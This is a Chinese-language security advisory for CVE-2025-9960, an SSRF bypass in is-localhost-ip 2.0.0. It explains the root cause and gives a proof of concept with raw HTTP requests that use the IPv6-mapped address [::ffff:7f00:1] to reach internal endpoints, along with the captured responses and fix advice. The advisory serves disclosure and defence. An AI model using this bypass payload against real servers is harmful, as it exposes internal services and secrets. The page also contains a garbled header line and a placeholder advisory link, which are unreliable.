[local] is-localhost-ip 2.0.0 - SSRF
is-localhost-ip 2.0.0 存在SSRF漏洞,IPv6映射地址可绕过本地主机检测。
High · CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5)📋 漏洞基础信息
| CVE | CVE-2025-9960 |
|---|---|
| 漏洞类型 | 服务器端请求伪造(SSRF) |
| 受影响版本 | is-localhost-ip 2.0.0 |
| 危害等级 | High · CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5) |
| 发布日期 | 2026-04-06 |
| 提交者 | nu11secur1ty |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
is-localhost-ip 库在检测localhost IP时仅校验普通IPv4地址(如127.0.0.1/8、10.0.0.0/8等),未正确处理IPv6映射IPv4地址格式([::ffff:7f00:1]),导致攻击者可访问内部服务。
🎯 攻击场景
1. 攻击者搭建一个Express服务监听在公网IP(如10.10.0.28:3005),启用/check-url接口。 2. 构造请求:GET /check-url?url=http://[::ffff:7f00:1]:3005,将IPv6映射地址指向127.0.0.1。 3. 服务端调用is-localhost-ip检测时返回false,允许请求。 4. 攻击者获得内部服务响应(如/secret端点内容)。 成功标志:获得200响应且响应体包含内部端点信息(如secret端口信息)。
💥 漏洞影响
攻击者可利用该SSRF漏洞访问内网/本地服务,导致敏感信息泄露(如内部API端点、配置、凭证等),可能进一步用于横向移动或提升权限。
⚔️ 原始 PoC
PoC首先启动Express服务器(端口3005),并设置/check-url接口。使用ENABLE_SELF_TEST=1环境变量启用自我测试路由。 普通请求curl 'http://localhost:3005/check-url?url=http://10.10.0.28:3005'被拒绝(403 'localhost not allowed'),因为10.10.0.28不是localhost。 漏洞利用步骤:发送GET /check-url?url=http://[::ffff:7f00:1]:3005,其中[::ffff:7f00:1]是IPv6映射地址,对应IPv4 127.0.0.1。is-localhost-ip库未识别该格式,放行请求。服务器内部发起对127.0.0.1:3005的HTTP请求(自请求),返回200并泄露服务器自身信息(/secret接口等)。
# normal 403 Forbidden
GET /check-url?url=http://10.10.0.28:3005 HTTP/1.1
Host: 10.10.0.28:3005
Content-Len gth: 2
Content-Length: 2
HTTP/1.1 403 Forbidden
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 33
ETag: W/"21-6j4oICVQ6Z+6nx0WETDHqqeeklM"
Date: Sun, 09 Nov 2025 09:29:34 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"error":"localhost not allowed"}
-----------------------------------------------------------------
# Exploit
GET /check-url?url=http://[::ffff:7f00:1]:3005 HTTP/1.1
Host: 10.10.0.28:3005
Content-Len gth: 2
Content-Length: 2
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 306
ETag: W/"132-0QnJdvy6r/DgvnNvBs+i8eLbOLc"
Date: Sun, 09 Nov 2025 09:29:28 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"message":"Express server running","usage":"GET /check-url?url=
https://10.10.0.28:3005","examples":["GET /check-url?url=
https://httpbin.org/json","GET /check-url?url=http://localhost:8080","GET
/check-url?url=https://google.com"],"endpoints":["GET /","GET
/check-url?url=<URL>","GET /secret"],"port":3005}🛡️ 修复建议
升级is-localhost-ip至2.0.1或更高版本(补丁已修复IPv6映射地址校验)。临时措施:在应用层增加额外的Host验证,拒绝包含IPv6映射格式的URL;或者严格限制出站请求的白名单。
📎 参考链接
- https://nvd.nist.gov/vuln/detail/CVE-2025-9960
- https://github.com/advisories/GHSA-xxxx-xxxx
- Exploit-DB 原文
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-07 07:22 | 来源: Exploit-DB